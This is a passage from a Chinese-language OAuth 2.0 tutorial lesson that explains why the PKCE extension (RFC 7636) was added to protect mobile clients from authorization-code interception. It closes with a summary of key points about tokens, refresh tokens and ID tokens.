2012年10月OAuth 2.0 的正式授权协议框架,也就是官方的RFC 6749被正式发布,2015年9月增补了PKCE协议,也就是官方的RFC 7636。从时间上来看,从正式发布 OAuth 2.0 授权协议到增补发布了PKCE协议,整整间隔了三年,而这三年恰恰是移动应用蓬勃发展的时期。
|
||||
|
||||
同时,在原生的移动客户端应用保存秘钥又存在特殊的安全问题,使用OAuth 2.0 授权码许可类型的客户端又容易受到授权码窃听的攻击。
|
||||
|
||||
所以,PKCE被增补发布的背景是,移动应用大力发展,同时原生客户端使用OAuth 2.0 面临着安全风险。这样我们就能理解了,发布PKCE协议的目的,主要就是缓解针对公开客户端的攻击,提高授权码使用的安全性。
|
||||
|
||||
## 总结
|
||||
|
||||
今天,我们专门用一节课来统一回答了OAuth 2.0的共性问题。我再来总结下你需要掌握的知识点:
|
||||
|
||||
1. OAuth 协议被发明的目的,就是用令牌代替用户名和密码。
|
||||
1. OAuth 2.0 不能被直接用来“从事”身份认证协议的“工作”。虽然OAuth2.0的使用要求是在HTTPS的环境下,但这并不能解决JWT令牌对第三方软件“不透明”的问题,还需要进行加密。
|
||||
1. 有了刷新令牌也不能让访问令牌一直有效下去,因为刷新令牌也有有效期。
|
||||
1. ID令牌是对访问令牌的补充,而不是要替代访问令牌。
|
||||
1. PKCE是OAuth 2.0的一个增补协议,主要用来缓解授权码被窃听的安全风险。
|
||||
|
||||
或许你在学习和实践OAuth 2.0时还会遇到其他问题,但不用担心,我们的留言区一直在,我也继续在留言区等着你,来回复你关心的、遇到的问题。
|
||||
|
||||
欢迎你在留言区分享你的观点,也欢迎你把今天的内容分享给其他使用OAuth 2.0的朋友,我们一起精进。
|
||||
Reference in New Issue
Block a user